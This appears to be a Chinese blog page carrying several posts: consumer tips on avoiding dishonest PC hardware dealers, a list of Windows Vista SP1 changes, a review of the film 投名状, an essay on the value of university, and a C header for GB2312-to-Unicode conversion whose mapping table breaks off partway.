对于那些想攒机且又对电脑初来乍到的朋友来说,最应该防范的就是传统观念的惯性和奸商的忽悠。我们怎么样才能造就一身反忽悠的本领呢?那就听我总结一下攒机的“三大‘忌’律 八项注意”吧。
第一忌:找“熟人”装机
可能没有买电脑的朋友传统观念里都有这么个惯性:我本身不懂电脑,所以我要找个把握的人来帮我装机,这样配件不会给我拿假货,而且还能给我最低价。但是你确定你所找的熟人真的熟吗?
我有这么两个例子:我有一个哥们要装机,他本来不是很懂电脑,所以找到了他家隔壁的邻居商量。他的邻居给他推荐一家他家亲戚开的装机店。第二天我跟我朋友一起去那家所谓的“熟人”装机店,那人先问了需要什么价位的预算,然后并以他给的最低价配件。结果可想而知,那个人给的报价单和配件的价格显然很不实惠,最后我们找个借口走开了。
还有一个哥们要装电脑,装机之前他联系好了他姐夫的朋友,并带上了我一起去找那个人。在途中他跟我说他姐夫的朋友应该没问题,自己开个装机店是个老板(这正是我最担心的问题。。。)到了卖场一看我彻底的汗汗汗——没错!这个柜台绝对是他自己的柜台,他绝对是个老板!至于汗的原因——XXX专业收售二手电脑。。。
行了,既来之则安之,他说他能装新电脑,走也走不开,先听他忽悠吧。我们递给他一份事先写好的配置单让他报价,他现跑到楼下的装机广场,然后又跑上来跟我们说:“你们这个配置的价位拿不下来写的这些品牌,我可以给你换一下,这样价格就能对上了。结果最后他一通更换,原本一线二线的品牌全让他更换到了“十一二线”的品牌。。。。。。
很显然,上述的情况因为我的这个朋友和要装机找的“熟人”根本就未谋过面,自然这样的“熟人”要对你进行惨无人道的宰割了。他们这样的装机商,最喜欢你们这样的“熟人” 因为他们心知肚明:既然是奔着我“熟人”的名头来的,那么即使我给他拿什么件、报什么价他们也不能说什么,谁让我们是“熟人”呢~
总结:理性看待这样的“熟人” 我始终坚信这样一句话:“如果我是装机店的老板,来装机的是我“死党”类型的铁哥们,我绝对宁可不赚钱给他个底价,否则一般的朋友嘛。。。。。哼哼哼。。。只有你不知我知,天知地知了~”
第二忌:只认“一线”品牌
“买主板,就要用华硕!买显卡,就要讯景!其余的,我就认准三星!”
这不是我故意的诋毁上述的那些品牌,而且华硕、讯景、三星的产品确实很不错。但是有些朋友处于道途听说盲目的追崇这些品牌是不对的。譬如你要买一款低价实惠的主板,选择一块同等价位的二线的主板肯定实惠很多。讯景也有很多实惠的产品,如果你肯多上网花点时间多关注些相应的资料
你就会发现其实你能选择的品牌还有很多很多。至于三星这个一线品牌的实力不可否认,相应出色的产品也有很多很多,但是不一定什么都是三星的东西好,比如我接触过朋友的那些三星光驱,用过的时间久了都出现过不出仓的情况,这个就很令人头疼。。。(但愿这些不出仓的情况只有我碰到。。)
总结:各大品牌相互竞争,最终受益的当然是我们这些消费者,理性看待并选择每一个品牌,其实你会发现我们能选择的产品会更多。
第三忌:最新的就是最好的
每当厂商发布最新产品的时候,那些对规格参数半懂不懂的朋友来说就要注意了。因为不见得推出新硬件标准就代表它的性能就越好。新产品刚上市,肯定存在着或多或少的BUG,再者说来,你能说HD3450的性能就一定比2600XT要好?你能说就是因为支持DX10 8500GTDDR2版的卡的性能就能大幅度的超越DDR3版的7300GT?我想没人会为了看那个所谓的特效而牺牲整体的性能去玩那种幻灯片的游戏吧?
总结:硬件当然会不断的推陈出新,但是不见得最新的一代的性能就优于上一代的产品。
好了,三大忌律我们都说完了,下面我们谈一下针对JS的八项注意
PS:此JS指的是JXS(经销商)简称JS。。。(互相体谅一下,毕竟人家也要养家糊口混口饭吃。。看大家怎么理解这个JS词义了,嘿嘿。。)
注意一:自视甚高的JS要防范
这类JS在利益的驱使下通常都会把你手里的配置贬的一文不值。比如你已经拿了选好好的配置让他写单,他通常都会以他的中心点出发:你看你的配置很不合理呀,你怎么能选INTEL的U呢?现在装机的都装AMD的U才对啊,INTEL的U贵,性能还不怎么好;AMD的便宜,发热量还低,性能还好,最适合玩游戏了。还有你的显卡,我很是不推荐你使用ATI的啊,现在哪有配ATI卡的人呀?ATI的卡游戏性能差,驱动也差,总好死机,选显卡首选NVIDIA的卡才对!另外你选的这个主板,哪是P35呀,说白了点就是P31呀,现在都是CH8了(P35携带的是ICH9,汗啊,ICH还不知道咋读就开始穷忽悠了。。。),你看你这个XX牌的主板,搭载的是CH7的北桥(再汗。。。我懂了!南桥才叫MCH呢!)根本就不是P35主板呀,与其这样,你还不如选择XX牌的P31呢。。。
*这类的JS有可能使你哭笑不得,脾气不好的朋友会不会有种想狠K一顿他的冲动呢?
注意二:相机行事的JS要防范
他们的秘笈就是能抓住顾客的心里:比如你到一家装机店装机,你发现他给你想要的那个配件的型号多报了几十或百元,你自然会跟他们理论为什么你给我报价9XX元,而那家给我报的是8XX元?你报的太贵了吧?此时JS故作不解之状,犹豫片刻作出非常肯定的回答:“做不了这个价格!别人加能给你做到这个价格但是我们家肯定给你做不了!我们是XX牌的代理,这价格我们最清楚不过了!”待JS再次忧郁片刻犹如如梦初醒地说道:“哎呀!知道了!他给你能做那么低的价格有可能他家是水货!要么就是返修货!这个在质保上可是不敢保证的啊!我们提供3年,没准他们只提供1年呢!如果你要也可以,我们可以直接从他家给你调货,你要吗?
*多走走,多转转,选购没必要在一棵树上吊死,他们说的是XX牌代理,但这个代理一定是总代理吗?
注意三:见貌辨色的JS要防范
JS通常都是从你的言谈中得知你大概对电脑了解多少的人,然后再用他得知的情况来对待你。大多数的朋友都把装机的精力放到了三大件的价格上,往往忽略掉平时对他们利润最大的机箱和电源。这类JS给你整体报价的时候有可能在三大件上故意往下压平价或者做更低的价,当然谁都不会做赔本的买卖,至于差价嘛。。。当然要从你不在意的配件里找回来啦。。。
*我们装机的时候不能忽略掉机箱电源和周边的耗材价格。。。
注意四:无中生有的JS要防范
此类JS比较狠毒,他们给你报价的时候很是爽快,你要的东西一律都是“有货” 所有的配件基本都是平价报出,并且在写单的时候夸奖你的精明:“说实在的,我看你对电脑不是一般的了解啊,你这套配置真是很不错。。。”经过一番奉承话在得到你的信任后签单备货之后。。。“哎呀,真是不巧啊,你要的XX品牌今天没有货啊,怎么办?我再给你打电话问问其它家看看有没有货。”在一副装模作样后,很遗憾的对你说:“真对不起呀,这个品牌销量不错(或者说销量不好,商家没有进货)没有货呀,怎么办?要不咱选个别的品牌吧,都一样使。”他的“甜言蜜语微笑服务”已经取得了你的信任,此时嘛。。。通常情况下你是会接受他的建议地。。。如果不接受嘛。。。反正押金你是交了~ 哼哼哼~~~
*不要果断的签单交押金,待所有货备齐了验好货再签单交押金也不迟。
注意五:欲擒故纵的JS要防范
做买卖的挣钱也要说赔钱,谁要是说他自己挣钱了,那他准是赔钱!不光是卖电脑,就算是卖服装卖百货的商人都一样,可以说这个是任何类型的商人都惯用的伎俩:这个配件的价格真的是给你做到最低了!我们再给你做低就赔钱了!本来就没挣钱!你不信去别人家问问价格!反正装电脑的又不知我这一家!如果你是个不愿意折腾的人,铁定会说:你再给我让点我就不去折腾了,嫌麻烦,你就给我个最低价。“真的不能再低了!我不挣钱也不能让我亏本啊!这个价格我看你挺了解,这样吧,再便宜你XX元,已经最低了,你要是能拿就拿,不能拿还是去别人家看看吧。。。”反正犯懒的朋友对这样的JS来说肯定被他们套住了。。
*他说一就一?他说二就二?你没事再多走两步,没准就省出来几趟打车钱。。。
注意六:模糊至尊的JS要防范
有些JS报单的时候,装机的朋友通常都注意到没有:CPU - 双核XXX 主板 - P35 显卡 - 8500GT 内存 - 1G ………… 总价XXXX元 乍一看类似同样的配置型号照其它家便宜不少啊~ 这个就是他们惯用伎俩之一——模糊至尊大法!用相同的型号硬件和更低的价格来吸引你的眼球。至于具体是什么牌子的主板嘛。。。至于具体品牌的显卡或型号显存嘛。。。
*装机之前一定要先了硬件的具体型号参数规格和本地市场行情!!!
注意七:曲意逢迎的JS要防范
这类的人技术含量相对来说就较低了,基本上全靠一张会说的嘴,你说啥好,那我就跟着说他有多好。当然你也应该知道这么个理儿:一分钱就一分货嘛!大家都说他好,那价格也肯定会相当的好了~只要你认定这个好货,那就乖乖的掏钱吧。。。
*当然JS不是肯定你要的货好,而是肯定你能掏钱包的动作很好!
注意八:偷梁换柱的JS要防范
其实论偷梁换柱这么一说不应该把责任完全推脱到JS的身上,因为有的时候他们也是无辜的(真的无辜还是装作无辜这就不知道了)事出有因,毕竟他们不是产品的生产者。
比如有一次我买一块XX牌的显卡,官方规格是采用☆☆☆1.4N的显存颗粒,也是我马虎没有仔细看规格拿了货就走人了。回到家才发现显存被官方抽条了,竟然是HY2N的颗粒。回去找他们理论他们丝毫没有退货的意思,表现的还很无辜。最后几次三番的理论才给我退的货。在这里要说明的是,不管产品的供应商提供什么样的产品,经销商知道情况要向消费者说明详细规格,即便不知道情况,那么消费者没有拿到称心如意的商品在商品没有随坏的情况下也要立刻给予退货。
*还是仔细先验好货吧,即使他们能给你退货,也禁不起来来回回的折腾呀。

Windows Vista SP1将用三种方式发行:
1:Express (快速安装) : 直接通过网络下载(更新),这是容量最小的一种,安装最为方便,大约占用65MB的空间.
2.Stand-alone (完整安装) : 独立发行版,主要用在与网络连接不方便的计算机,这次的SP1不分语言均可直接安装,大约需要450MB的空间(如果要装36种语言包,则须扩展到550MB)
3.Slipstream (新版整合) : 这一版本指的是OEM和更新后的彩盒包装的安装版,已经安装好了SP1,不用再去管它.

Vista Service Pack 1 将带来:
* GPMC (Group Policy Management Console) 将被删除, GPEdit 将成为本地组策略的编辑器."
* 减少了UAC (User Account Control) 的严格程度,重命名文件夹等操作不需要确认.(大概盖兹也体会到:太严反而不好吧= = )
* 添加了对exFAT的支持,这一文件格式广泛用于数码产品.
* 包含了对一些应用程序的兼容更新.
* 更新了文件存储的可靠性,特别是NTFS格式的可移动媒体.
* 更新了P2P连接的可靠性 (一定要的) ,例如Windows Meeting Space 或  Remote Assistance在防火墙后的表现.
* 更新了Windows Vista内置的备份方案,包含EFS加密支持.
* 更新SRT (Startup Repair Tool),它是 Windows Recovery environment (WinRE)的组件,可以让无法引导的PC恢复. 
* 提升了网络共享访问速度(非常明显).
* 提升了电源管理策略,更为省电.
* 提升了Zip文件夹解压缩的性能.
* 明显提高了文件夹之间复制文件的速度. (早该有了,要不然复制一个东西可以走道天涯海角了XD)  
    o 本地磁盘对本地磁盘,快25%
    o 本地到非Windows Vista SP1系统快45% 
    o 两台SP1更新后的对传快50%
* 提升了读取大图片的速度,高达50%.
* 提升了 IE 处理JavaScript的能力.
* 包含Windows Superfetch的改进,让应用程序启动更快.
* 修改了网络系统的策略,选择有效网络更为智能.
* 减少了用户重新登录PC的延迟.
* 新的RDP加密算法,节省大约 25-60%的带宽消耗.
* 提升了运行RemoteApp的速度
* 改进了BitLocker Drive Encryption,提供TPM加密支持,包括U盘加密和PIN.
* 增强的BitLocker加密,支持非系统盘.(Enterprise 和 Ultimate SKUs有效).
* 更新了Windows Update的驱动获取方式,直接从硬件提供商获取.
* 提供磁盘整理程序卷标的选择. (这个....也应该在VISTA BETA时就该想到了吧....)
* 允许用户在离线的时候编辑共享文件.
* 允许KMS (Key Management Service) 运行在虚拟机环境.!
* 改进操作系统的部署方式,允许从32位升级到64位.
* 报告系统所安装的内存,而不是有效内存(x86 4G以上照样识别,但没法用)
* 用户需要在安装Windows Vista SP1时输入管理密码.
* 在笔记本电脑连接显示器时提供更好的支持.

    托老同学的照顾,前天晚上和LP一起去看了陈可辛最新作品《投名状》,电影场面宏大,演员演得有不错,不失为大制作,唯一有些遗憾的是故事源于原邵逸夫投资的电影《刺马》,尽管有些改动,但是很明显故事是类似的!不过单纯从娱乐的角度来讲,这部电影还是不错的。

    但是《投名状》真正的赢家在哪里?首先说电影中的角色。电影的四位主人公,在电影结束时,主人公由李连杰饰演的老大庞青云,刘德华饰演的老二赵二虎,以及唯一的女主角徐静蕾饰演的赵二虎的老婆,都明确已经被杀掉。尽管金城武主演的老三姜午阳没有明确说死掉之外,但是其结果肯定不会好。所以从这个角度上来讲没有赢家。

    不过从整个影片中,我们倒是可以获得不少的现实意义。我们可以看得出来,三兄弟获得的一官半职和荣华富贵是用命拼出来的;换今天的话来讲,就是创业显然不是容易的。尽管他们三人武功高强,带兵打仗的能力也是一流,在当时来讲显然属于高级人才,但是他们显然低估了当时的清王朝官场的黑暗程度,所以落得如此下场。用现在的话讲:职场险恶,需要搞好自己的人际关系,单打独斗很难获得成绩。当然另一方面,作为创业者的三兄弟之间也有矛盾,不仅仅是女人的问题,在处理很多问题上的意见存在分歧,为后来出现的悲剧埋下了伏笔。用今天的观点来看,创业元老之间必须处理好关系,并且要有完善的解决问题的途径和方法,否则可能造成创业过程中断甚至出现兄弟反目的事情。

     另一个角度,赢家属于电影的投资人和导演。从我去现场看电影的情况来讲,场面绝对不亚于去年我到现场看张艺谋的大片《满城尽带黄金甲》,电影院里场场爆满。看来陈可辛3亿票房的希望有可能实现。所以无疑投资人和导演是最大的赢家!

当你要评价一个事物时,记得,告诉别人那是个人认同的观点。:)
——题记
今天,有一个小兄弟和我聊,我们说到一个很典型的话题,以前也有哥们就这个话题讨论过,那就是——念大学有用么?
我这个小兄弟说到,他感觉考大学没用(他挺客观的,用了“我感觉”)。其实持这样的观点的人不在少数,但是这样一个敏感的话题,在自己的部落格上说,也同样说的是自己的观点。
并某个人的观点,首先鲜明提出:任何人生经历对自己都是有用的。
有用,可是有多大用?也许我们会说,因人而异吧?
大学存在着,过去存在,今天存在,将来,也没有要取消的意思。中国是这样,美国也是这样,印度和日本,还有欧洲、大洋洲等等都是这样,那就证明在相当程度上这是个大家普遍认可的有价值的教育环节。
如果真的没有用,为什么绝大部分人都在考?
既然在读大学之前我们都不知道上大学到底有多大作用,不如努力去试一下,在没有确定的更好的路线的时候,常规方案是最好的选择。
如果有一天,在大学里念到一半,发觉的确对自己没多大用处,那么,如果确信自己的选择是对的,那坚持自己的选择也是无妨的。依旧是冰血曾经说过的,不要总把自己当成一个孩子,既然长大的,就要勇敢的去选择,当然,更要明白,无论怎样,为自己的选择负责都是一个男子汉的义务。
就我个人而言,我念了一个很一般的大学,郑州航院,但是它还是让我开拓了学术视野,认识了一群真的不凡的朋友,遇见了若干给我启发的老师。虽然,这些不能算是什么惊天地、泣鬼神的事,但是却是我有生难忘的一段回忆。
如果你觉得《论语》很烂、VB也很烂,而且你很想在某种公开或私人的场合中鄙视它,那最好先将它研究一遍,也好让那些企图反驳你的人在最大程度上无言以对。
其实只有认真做完了一件事,了解了它,才有资格去评价它。哲学是这样,技术是这样,任何事情都是这样,否则充顶只能谈谈,要么说“我什么都不知道”,抑或“我知道什么呢?”。前者有苏格拉底的气魄,后者有蒙田的风度,看齐先哲,低头前行。:)

#ifndef UNICODE_H
#define UNICODE_H

#include <string.h>

#ifdef __DEFLINUX__
#include <netinet/in.h>
#endif

#include<Winsock2.h>
#include <windows.h>

extern unsigned short giGB2312[21243][2];
const unsigned short giGBCount=21243;

unsigned short getun(unsigned short int gb)
{
int i;
for(i=0;i<giGBCount;i++)
{
  if (giGB2312[i][0]==gb)
  {
   return htons(giGB2312[i][1]);
  }
}
return 0xFFFF;
}
unsigned short getgb(unsigned short int unicode)
{
int i;
for(i=0;i<giGBCount;i++)
{
  if (giGB2312[i][1]==ntohs(unicode))
   return giGB2312[i][0];
}
return 0xFFFF;
}
int gb2unicode(unsigned short int*unicode,char*gb,int len)
{
int i,j;
unsigned short iTmp;
i=0;
for(j=0;i<len;j++)
{
  if ((unsigned char)gb[i]<=0x80)
  {
   unicode[j]=gb[i];
   unicode[j]=htons(unicode[j]);
   i++;
  }else
  {
   unicode[j]=getun(*(unsigned short int*)(gb+i));
   i+=2;
  }
}
return j*2;
}
int unicode2gb(char*gb,unsigned short int*unicode,int len)
{
int j;
int i;
unsigned short iTmp;
len=len/2;
j=0;
for(i=0;i<len;i++)
{
  if (!(ntohs(unicode[i])&0xff00))
  {
   gb[j]=ntohs(unicode[i]);
   j++;
  }
  else
  {
   iTmp=getgb(unicode[i]);
   /*   printf(" 0x%04X,0x%04X",unicode[i],iTmp);*/
   *(unsigned short int*)(gb+j)=iTmp;
   j+=2;
  }
}
return j;
}

unsigned short giGB2312[21243][2]={
{0xa1a1,0x3000},{0xa2a1,0x3001},{0xa3a1,0x3002},{0xa8a1,0x3003},{0xa9a1,0x3005},
{0x65a9,0x3006},{0x96a9,0x3007},{0xb4a1,0x3008},{0xb5a1,0x3009},{0xb6a1,0x300a},
{0xb7a1,0x300b},{0xb8a1,0x300c},{0xb9a1,0x300d},{0xbaa1,0x300e},{0xbba1,0x300f},
{0xbea1,0x3010},{0xbfa1,0x3011},{0x93a8,0x3012},{0xfea1,0x3013},{0xb2a1,0x3014},
{0xb3a1,0x3015},{0xbca1,0x3016},{0xbda1,0x3017},{0x94a8,0x301d},{0x95a8,0x301e},
{0x40a9,0x3021},{0x41a9,0x3022},{0x42a9,0x3023},{0x43a9,0x3024},{0x44a9,0x3025},
{0x45a9,0x3026},{0x46a9,0x3027},{0x47a9,0x3028},{0x48a9,0x3029},{0xa1a4,0x3041},
{0xa2a4,0x3042},{0xa3a4,0x3043},{0xa4a4,0x3044},{0xa5a4,0x3045},{0xa6a4,0x3046},
{0xa7a4,0x3047},{0xa8a4,0x3048},{0xa9a4,0x3049},{0xaaa4,0x304a},{0xaba4,0x304b},
{0xaca4,0x304c},{0xada4,0x304d},{0xaea4,0x304e},{0xafa4,0x304f},{0xb0a4,0x3050},
{0xb1a4,0x3051},{0xb2a4,0x3052},{0xb3a4,0x3053},{0xb4a4,0x3054},{0xb5a4,0x3055},
{0xb6a4,0x3056},{0xb7a4,0x3057},{0xb8a4,0x3058},{0xb9a4,0x3059},{0xbaa4,0x305a},
{0xbba4,0x305b},{0xbca4,0x305c},{0xbda4,0x305d},{0xbea4,0x305e},{0xbfa4,0x305f},
{0xc0a4,0x3060},{0xc1a4,0x3061},{0xc2a4,0x3062},{0xc3a4,0x3063},{0xc4a4,0x3064},
{0xc5a4,0x3065},{0xc6a4,0x3066},{0xc7a4,0x3067},{0xc8a4,0x3068},{0xc9a4,0x3069},
{0xcaa4,0x306a},{0xcba4,0x306b},{0xcca4,0x306c},{0xcda4,0x306d},{0xcea4,0x306e},
{0xcfa4,0x306f},{0xd0a4,0x3070},{0xd1a4,0x3071},{0xd2a4,0x3072},{0xd3a4,0x3073},
{0xd4a4,0x3074},{0xd5a4,0x3075},{0xd6a4,0x3076},{0xd7a4,0x3077},{0xd8a4,0x3078},
{0xd9a4,0x3079},{0xdaa4,0x307a},{0xdba4,0x307b},{0xdca4,0x307c},{0xdda4,0x307d},
{0xdea4,0x307e},{0xdfa4,0x307f},{0xe0a4,0x3080},{0xe1a4,0x3081},{0xe2a4,0x3082},
{0xe3a4,0x3083},{0xe4a4,0x3084},{0xe5a4,0x3085},{0xe6a4,0x3086},{0xe7a4,0x3087},
{0xe8a4,0x3088},{0xe9a4,0x3089},{0xeaa4,0x308a},{0xeba4,0x308b},{0xeca4,0x308c},
{0xeda4,0x308d},{0xeea4,0x308e},{0xefa4,0x308f},{0xf0a4,0x3090},{0xf1a4,0x3091},
{0xf2a4,0x3092},{0xf3a4,0x3093},{0x61a9,0x309b},{0x62a9,0x309c},{0x66a9,0x309d},
{0x67a9,0x309e},{0xa1a5,0x30a1},{0xa2a5,0x30a2},{0xa3a5,0x30a3},{0xa4a5,0x30a4},
{0xa5a5,0x30a5},{0xa6a5,0x30a6},{0xa7a5,0x30a7},{0xa8a5,0x30a8},{0xa9a5,0x30a9},
{0xaaa5,0x30aa},{0xaba5,0x30ab},{0xaca5,0x30ac},{0xada5,0x30ad},{0xaea5,0x30ae},
{0xafa5,0x30af},{0xb0a5,0x30b0},{0xb1a5,0x30b1},{0xb2a5,0x30b2},{0xb3a5,0x30b3},
{0xb4a5,0x30b4},{0xb5a5,0x30b5},{0xb6a5,0x30b6},{0xb7a5,0x30b7},{0xb8a5,0x30b8},
{0xb9a5,0x30b9},{0xbaa5,0x30ba},{0xbba5,0x30bb},{0xbca5,0x30bc},{0xbda5,0x30bd},
{0xbea5,0x30be},{0xbfa5,0x30bf},{0xc0a5,0x30c0},{0xc1a5,0x30c1},{0xc2a5,0x30c2},
{0xc3a5,0x30c3},{0xc4a5,0x30c4},{0xc5a5,0x30c5},{0xc6a5,0x30c6},{0xc7a5,0x30c7},
{0xc8a5,0x30c8},{0xc9a5,0x30c9},{0xcaa5,0x30ca},{0xcba5,0x30cb},{0xcca5,0x30cc},
{0xcda5,0x30cd},{0xcea5,0x30ce},{0xcfa5,0x30cf},{0xd0a5,0x30d0},{0xd1a5,0x30d1},
{0xd2a5,0x30d2},{0xd3a5,0x30d3},{0xd4a5,0x30d4},{0xd5a5,0x30d5},{0xd6a5,0x30d6},
{0xd7a5,0x30d7},{0xd8a5,0x30d8},{0xd9a5,0x30d9},{0xdaa5,0x30da},{0xdba5,0x30db},
{0xdca5,0x30dc},{0xdda5,0x30dd},{0xdea5,0x30de},{0xdfa5,0x30df},{0xe0a5,0x30e0},
{0xe1a5,0x30e1},{0xe2a5,0x30e2},{0xe3a5,0x30e3},{0xe4a5,0x30e4},{0xe5a5,0x30e5},
{0xe6a5,0x30e6},{0xe7a5,0x30e7},{0xe8a5,0x30e8},{0xe9a5,0x30e9},{0xeaa5,0x30ea},
{0xeba5,0x30eb},{0xeca5,0x30ec},{0xeda5,0x30ed},{0xeea5,0x30ee},{0xefa5,0x30ef},
{0xf0a5,0x30f0},{0xf1a5,0x30f1},{0xf2a5,0x30f2},{0xf3a5,0x30f3},{0xf4a5,0x30f4},
{0xf5a5,0x30f5},{0xf6a5,0x30f6},{0x60a9,0x30fc},{0x63a9,0x30fd},{0x64a9,0x30fe},
{0xc5a8,0x3105},{0xc6a8,0x3106},{0xc7a8,0x3107},{0xc8a8,0x3108},{0xc9a8,0x3109},
{0xcaa8,0x310a},{0xcba8,0x310b},{0xcca8,0x310c},{0xcda8,0x310d},{0xcea8,0x310e},
{0xcfa8,0x310f},{0xd0a8,0x3110},{0xd1a8,0x3111},{0xd2a8,0x3112},{0xd3a8,0x3113},
{0xd4a8,0x3114},{0xd5a8,0x3115},{0xd6a8,0x3116},{0xd7a8,0x3117},{0xd8a8,0x3118},
{0xd9a8,0x3119},{0xdaa8,0x311a},{0xdba8,0x311b},{0xdca8,0x311c},{0xdda8,0x311d},
{0xdea8,0x311e},{0xdfa8,0x311f},{0xe0a8,0x3120},{0xe1a8,0x3121},{0xe2a8,0x3122},
{0xe3a8,0x3123},{0xe4a8,0x3124},{0xe5a8,0x3125},{0xe6a8,0x3126},{0xe7a8,0x3127},
{0xe8a8,0x3128},{0xe9a8,0x3129},{0xe5a2,0x3220},{0xe6a2,0x3221},{0xe7a2,0x3222},
{0xe8a2,0x3223},{0xe9a2,0x3224},{0xeaa2,0x3225},{0xeba2,0x3226},{0xeca2,0x3227},
{0xeda2,0x3228},{0xeea2,0x3229},{0x5aa9,0x3231},{0x49a9,0x32a3},{0x4aa9,0x338e},
{0x4ba9,0x338f},{0x4ca9,0x339c},{0x4da9,0x339d},{0x4ea9,0x339e},{0x4fa9,0x33a1},
{0x50a9,0x33c4},{0x51a9,0x33ce},{0x52a9,0x33d1},{0x53a9,0x33d2},{0x54a9,0x33d5},
{0xbbd2,0x4e00},{0xa1b6,0x4e01},{0x4081,0x4e02},{0xdfc6,0x4e03},{0x4181,0x4e04},
{0x4281,0x4e05},{0x4381,0x4e06},{0xf2cd,0x4e07},{0xc9d5,0x4e08},{0xfdc8,0x4e09},
{0xcfc9,0x4e0a},{0xc2cf,0x4e0b},{0xa2d8,0x4e0c},{0xbbb2,0x4e0d},{0xebd3,0x4e0e},
{0x4481,0x4e0f},{0xa4d8,0x4e10},{0xf3b3,0x4e11},{0x4581,0x4e12},{0xa8d7,0x4e13},
{0xd2c7,0x4e14},{0xa7d8,0x4e15},{0xc0ca,0x4e16},{0x4681,0x4e17},{0xf0c7,0x4e18},
{0xfbb1,0x4e19},{0xb5d2,0x4e1a},{0xd4b4,0x4e1b},{0xabb6,0x4e1c},{0xbfcb,0x4e1d},
{0xa9d8,0x4e1e},{0x4781,0x4e1f},{0x4881,0x4e20},{0x4981,0x4e21},{0xaab6,0x4e22},
{0x4a81,0x4e23},{0xbdc1,0x4e24},{0xcfd1,0x4e25},{0x4b81,0x4e26},{0xa5c9,0x4e27},
{0xadd8,0x4e28},{0x4c81,0x4e29},{0xf6b8,0x4e2a},{0xbed1,0x4e2b},{0xdce3,0x4e2c},
{0xd0d6,0x4e2d},{0x4d81,0x4e2e},{0x4e81,0x4e2f},{0xe1b7,0x4e30},{0x4f81,0x4e31},
{0xaeb4,0x4e32},{0x5081,0x4e33},{0xd9c1,0x4e34},{0x5181,0x4e35},{0xbcd8,0x4e36},
{0x5281,0x4e37},{0xe8cd,0x4e38},{0xa4b5,0x4e39},{0xaace,0x4e3a},{0xf7d6,0x4e3b},
{0x5381,0x4e3c},{0xf6c0,0x4e3d},{0xd9be,0x4e3e},{0xafd8,0x4e3f},{0x5481,0x4e40},
{0x5581,0x4e41},{0x5681,0x4e42},{0xcbc4,0x4e43},{0x5781,0x4e44},{0xc3be,0x4e45},
{0x5881,0x4e46},{0xb1d8,0x4e47},{0xb4c3,0x4e48},{0xe5d2,0x4e49},{0x5981,0x4e4a},
{0xaed6,0x4e4b},{0xdace,0x4e4c},{0xa7d5,0x4e4d},{0xf5ba,0x4e4e},{0xa6b7,0x4e4f},
{0xd6c0,0x4e50},{0x5a81,0x4e51},{0xb9c6,0x4e52},{0xd2c5,0x4e53},{0xc7c7,0x4e54},
{0x5b81,0x4e55},{0xd4b9,0x4e56},{0x5c81,0x4e57},{0xcbb3,0x4e58},{0xd2d2,0x4e59},
{0x5d81,0x4e5a},{0x5e81,0x4e5b},{0xbfd8,0x4e5c},{0xc5be,0x4e5d},{0xf2c6,0x4e5e},
{0xb2d2,0x4e5f},{0xb0cf,0x4e60},{0xe7cf,0x4e61},{0x5f81,0x4e62},{0x6081,0x4e63},
{0x6181,0x4e64},{0x6281,0x4e65},{0xe9ca,0x4e66},{0x6381,0x4e67},{0x6481,0x4e68},
{0xc0d8,0x4e69},{0x6581,0x4e6a},{0x6681,0x4e6b},{0x6781,0x4e6c},{0x6881,0x4e6d},
{0x6981,0x4e6e},{0x6a81,0x4e6f},{0xf2c2,0x4e70},{0xd2c2,0x4e71},{0x6b81,0x4e72},
{0xe9c8,0x4e73},{0x6c81,0x4e74},{0x6d81,0x4e75},{0x6e81,0x4e76},{0x6f81,0x4e77},
{0x7081,0x4e78},{0x7181,0x4e79},{0x7281,0x4e7a},{0x7381,0x4e7b},{0x7481,0x4e7c},
{0x7581,0x4e7d},{0xacc7,0x4e7e},{0x7681,0x4e7f},{0x7781,0x4e80},{0x7881,0x4e81},
{0x7981,0x4e82},{0x7a81,0x4e83},{0x7b81,0x4e84},{0x7c81,0x4e85},{0xcbc1,0x4e86},
{0x7d81,0x4e87},{0xe8d3,0x4e88},{0xf9d5,0x4e89},{0x7e81,0x4e8a},{0xc2ca,0x4e8b},
{0xfeb6,0x4e8c},{0xa1d8,0x4e8d},{0xdad3,0x4e8e},{0xf7bf,0x4e8f},{0x8081,0x4e90},
{0xc6d4,0x4e91},{0xa5bb,0x4e92},{0xc1d8,0x4e93},{0xe5ce,0x4e94},{0xaebe,0x4e95},
{0x8181,0x4e96},{0x8281,0x4e97},{0xa8d8,0x4e98},{0x8381,0x4e99},{0xc7d1,0x4e9a},
{0xa9d0,0x4e9b},{0x8481,0x4e9c},{0x8581,0x4e9d},{0x8681,0x4e9e},{0xbdd8,0x4e9f},
{0xefd9,0x4ea0},{0xf6cd,0x4ea1},{0xbabf,0x4ea2},{0x8781,0x4ea3},{0xbbbd,0x4ea4},
{0xa5ba,0x4ea5},{0xe0d2,0x4ea6},{0xfab2,0x4ea7},{0xe0ba,0x4ea8},{0xb6c4,0x4ea9},
{0x8881,0x4eaa},{0xedcf,0x4eab},{0xa9be,0x4eac},{0xa4cd,0x4ead},{0xc1c1,0x4eae},
{0x8981,0x4eaf},{0x8a81,0x4eb0},{0x8b81,0x4eb1},{0xd7c7,0x4eb2},{0xf1d9,0x4eb3},
{0x8c81,0x4eb4},{0xf4d9,0x4eb5},{0x8d81,0x4eb6},{0x8e81,0x4eb7},{0x8f81,0x4eb8},
{0x9081,0x4eb9},{0xcbc8,0x4eba},{0xe9d8,0x4ebb},{0x9181,0x4ebc},{0x9281,0x4ebd},
{0x9381,0x4ebe},{0xdad2,0x4ebf},{0xb2ca,0x4ec0},{0xcac8,0x4ec1},{0xecd8,0x4ec2},
{0xead8,0x4ec3},{0xc6d8,0x4ec4},{0xf6bd,0x4ec5},{0xcdc6,0x4ec6},{0xf0b3,0x4ec7},
{0x9481,0x4ec8},{0xebd8,0x4ec9},{0xf1bd,0x4eca},{0xe9bd,0x4ecb},{0x9581,0x4ecc},
{0xd4c8,0x4ecd},{0xd3b4,0x4ece},{0x9681,0x4ecf},{0x9781,0x4ed0},{0xd8c2,0x4ed1},
{0x9881,0x4ed2},{0xd6b2,0x4ed3},{0xd0d7,0x4ed4},{0xcbca,0x4ed5},{0xfbcb,0x4ed6},
{0xccd5,0x4ed7},{0xb6b8,0x4ed8},{0xc9cf,0x4ed9},{0x9981,0x4eda},{0x9a81,0x4edb},
{0x9b81,0x4edc},{0xdad9,0x4edd},{0xf0d8,0x4ede},{0xaac7,0x4edf},{0x9c81,0x4ee0},
{0xeed8,0x4ee1},{0x9d81,0x4ee2},{0xfab4,0x4ee3},{0xeec1,0x4ee4},{0xd4d2,0x4ee5},
{0x9e81,0x4ee6},{0x9f81,0x4ee7},{0xedd8,0x4ee8},{0xa081,0x4ee9},{0xc7d2,0x4eea},
{0xefd8,0x4eeb},{0xc7c3,0x4eec},{0xa181,0x4eed},{0xa281,0x4eee},{0xa381,0x4eef},
